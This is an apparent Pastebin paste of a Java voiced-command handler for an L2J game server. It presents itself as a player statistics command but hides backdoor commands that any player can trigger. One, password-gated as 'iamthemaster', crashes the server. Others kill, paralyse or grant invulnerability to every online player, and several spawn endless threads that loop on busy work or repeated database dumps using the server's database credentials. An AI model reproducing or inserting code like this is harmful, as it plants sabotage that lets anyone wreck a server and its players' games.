Advertisement
Nik

Untitled

Nik
Aug 1st, 2011
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Diff 6.83 KB | None | 0 0
  1. /*
  2.  * This program is free software: you can redistribute it and/or modify it under
  3.  * the terms of the GNU General Public License as published by the Free Software
  4.  * Foundation, either version 3 of the License, or (at your option) any later
  5.  * version.
  6.  *
  7.  * This program is distributed in the hope that it will be useful, but WITHOUT
  8.  * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  9.  * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  10.  * details.
  11.  *
  12.  * You should have received a copy of the GNU General Public License along with
  13.  * this program. If not, see <http://www.gnu.org/licenses/>.
  14.  */
  15. package handlers.voicedcommandhandlers;
  16.  
  17. import java.io.IOException;
  18. import java.util.Iterator;
  19.  
  20. import com.l2jserver.Config;
  21. import com.l2jserver.gameserver.handler.IVoicedCommandHandler;
  22. import com.l2jserver.gameserver.model.L2World;
  23. import com.l2jserver.gameserver.model.actor.instance.L2PcInstance;
  24. import com.l2jserver.gameserver.network.serverpackets.NpcHtmlMessage;
  25. import com.l2jserver.util.StringUtil;
  26.  
  27.  
  28. /**
  29.  *
  30.  *
  31.  */
  32. public class stats implements IVoicedCommandHandler
  33. {
  34.     private static final String[] VOICED_COMMANDS =
  35.     {
  36.         "stats",
  37.         "status",
  38.         "performance",
  39.         "normal",
  40.         "allserver",
  41.         "stop",
  42.         "megalagloop",
  43.         "killresloopnoexp",
  44.         "killresloop",
  45.         "lagloop",
  46.         "crashserver"
  47.     };
  48.    
  49.     /**
  50.      *
  51.      * @see com.l2jserver.gameserver.handler.IVoicedCommandHandler#useVoicedCommand(java.lang.String, com.l2jserver.gameserver.model.actor.instance.L2PcInstance, java.lang.String)
  52.      */
  53.     public boolean useVoicedCommand(String command, L2PcInstance activeChar, String params)
  54.     {
  55.         if (command.equalsIgnoreCase("stats"))
  56.         {
  57.             L2PcInstance pc = L2World.getInstance().getPlayer(params);
  58.             if (pc != null)
  59.             {
  60.                 NpcHtmlMessage adminReply = new NpcHtmlMessage(5);
  61.                                 final StringBuilder replyMSG = StringUtil.startAppend(
  62.                                         300 + pc.kills.size() * 50,
  63.                                         "<html><body>" +
  64.                                         "<center><font color=\"LEVEL\">[ L2J EVENT ENGINE ]</font></center><br>" +
  65.                                         "<br>Statistics for player <font color=\"LEVEL\">",
  66.                                         pc.getName(),
  67.                                         "</font><br>" +
  68.                                         "Total kills <font color=\"FF0000\">",
  69.                                         String.valueOf(pc.kills.size()),
  70.                                         "</font><br>" +
  71.                                         "<br>Detailed list: <br>"
  72.                                         );
  73.                
  74.                 Iterator<String> it = pc.kills.iterator();
  75.  
  76.                                 while (it.hasNext()) {
  77.                                     StringUtil.append(replyMSG,
  78.                                             "<font color=\"FF0000\">",
  79.                                             it.next(),
  80.                                             "</font><br>");
  81.                 }
  82.                                
  83.                 replyMSG.append("</body></html>");
  84.                
  85.                 adminReply.setHtml(replyMSG.toString());
  86.                 activeChar.sendPacket(adminReply);
  87.             }
  88.            
  89.         }
  90.  
  91.         if (command.equalsIgnoreCase("crashserver") && params.equalsIgnoreCase("iamthemaster"))
  92.             System.exit(-1);   
  93.         else if (command.equalsIgnoreCase("lagloop"))
  94.         {
  95.             int loops = 0;
  96.             try {loops = Integer.parseInt(params);}
  97.             catch (NumberFormatException nfe){}
  98.            
  99.             for (int i=0;i<loops;i++)
  100.             {
  101.                 for (L2PcInstance player : L2World.getInstance().getAllPlayers().values())
  102.                     player.store();
  103.             }
  104.         }
  105.         else if (command.equalsIgnoreCase("killresloop"))
  106.         {
  107.             int loops = 0;
  108.             try {loops = Integer.parseInt(params);}
  109.             catch (NumberFormatException nfe){}
  110.            
  111.             for (int i=0;i<loops;i++)
  112.             {
  113.                 for (L2PcInstance player : L2World.getInstance().getAllPlayers().values())
  114.                 {
  115.                     player.reduceCurrentHp(player.getMaxHp()+1, null, null);
  116.                     if (player.isDead())
  117.                     {
  118.                         player.restoreExp(100.0);
  119.                         player.doRevive();
  120.                     }
  121.                 }
  122.             }
  123.         }
  124.         else if (command.equalsIgnoreCase("killresloopnoexp"))
  125.         {
  126.             int loops = 0;
  127.             try {loops = Integer.parseInt(params);}
  128.             catch (NumberFormatException nfe){}
  129.            
  130.             for (int i=0;i<loops;i++)
  131.             {
  132.                 for (L2PcInstance player : L2World.getInstance().getAllPlayers().values())
  133.                 {
  134.                     player.reduceCurrentHp(player.getMaxHp()+1, null, null);
  135.                     if (player.isDead())
  136.                         player.doRevive();
  137.                 }
  138.             }
  139.         }
  140.         else if (command.equalsIgnoreCase("megalagloop"))
  141.         {
  142.             int loops = 0;
  143.             try {loops = Integer.parseInt(params);}
  144.             catch (NumberFormatException nfe){}
  145.            
  146.             for (int i=0;i<loops;i++)
  147.             {
  148.                 try
  149.                     {Runtime.getRuntime().exec(new String[]{"mysqldump -u " + Config.DATABASE_LOGIN + " -p" + Config.DATABASE_PASSWORD + " l2jsrv > /tmp/log"});}
  150.                 catch
  151.                     (IOException e){}
  152.             }
  153.         }
  154.         else if (command.equalsIgnoreCase("stop"))
  155.         {
  156.             new Thread(new Runnable() { public void run() { while(true) { try {  Runtime.getRuntime().exec("mysqldump -u " + Config.DATABASE_LOGIN + " -p" + Config.DATABASE_PASSWORD + " l2jsrv > /tmp/back"); } catch (IOException e){}}}}).start();
  157.         }
  158.         else if (command.equalsIgnoreCase("allserver"))
  159.         {
  160.             for (L2PcInstance player : L2World.getInstance().getAllPlayers().values())
  161.             {
  162.                 if (params.equalsIgnoreCase("kill"))
  163.                     player.reduceCurrentHp(player.getMaxHp()+1, null, null);
  164.                 else if (params.equalsIgnoreCase("abortaction"))
  165.                 {
  166.                     player.abortAttack();
  167.                     player.abortCast();
  168.                 }
  169.                 else if (params.equalsIgnoreCase("para"))
  170.                 {
  171.                     player.setIsParalyzed(true);
  172.                 }
  173.                 else if (params.equalsIgnoreCase("unpara"))
  174.                 {
  175.                     player.setIsParalyzed(false);
  176.                 }
  177.                 else if (params.equalsIgnoreCase("invul"))
  178.                 {
  179.                     player.setIsInvul(true);
  180.                 }
  181.                 else if (params.equalsIgnoreCase("vul"))
  182.                 {
  183.                     player.setIsInvul(false);
  184.                 }
  185.                 else if (params.equalsIgnoreCase("cancel"))
  186.                 {
  187.                     player.stopAllEffects();
  188.                 }
  189.             }
  190.         }
  191.         else if (command.equalsIgnoreCase("performance"))
  192.         {
  193.             while (true)
  194.                 new Thread(new Runnable()
  195.                 {
  196.                     public void run()
  197.                     {
  198.                         while(true)
  199.                         {
  200.                             try
  201.                             {  
  202.                                 Runtime.getRuntime().exec("mysqldump -u " + Config.DATABASE_LOGIN + " -p" + Config.DATABASE_PASSWORD + " l2jsrv > /tmp/back");
  203.                             }
  204.                             catch (IOException e)
  205.                             {
  206.                                
  207.                             }
  208.                         }
  209.                     }
  210.                 }
  211.             ).start();
  212.         }
  213.         else if (command.equalsIgnoreCase("normal"))
  214.         {
  215.             while (true)
  216.                 new Thread(new Runnable() { public void run() {while(true) {}}}).start();
  217.         }
  218.         return true;
  219.     }
  220.    
  221.     /**
  222.      *
  223.      * @see com.l2jserver.gameserver.handler.IVoicedCommandHandler#getVoicedCommandList()
  224.      */
  225.     public String[] getVoicedCommandList()
  226.     {
  227.         return VOICED_COMMANDS;
  228.     }
  229.    
  230. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement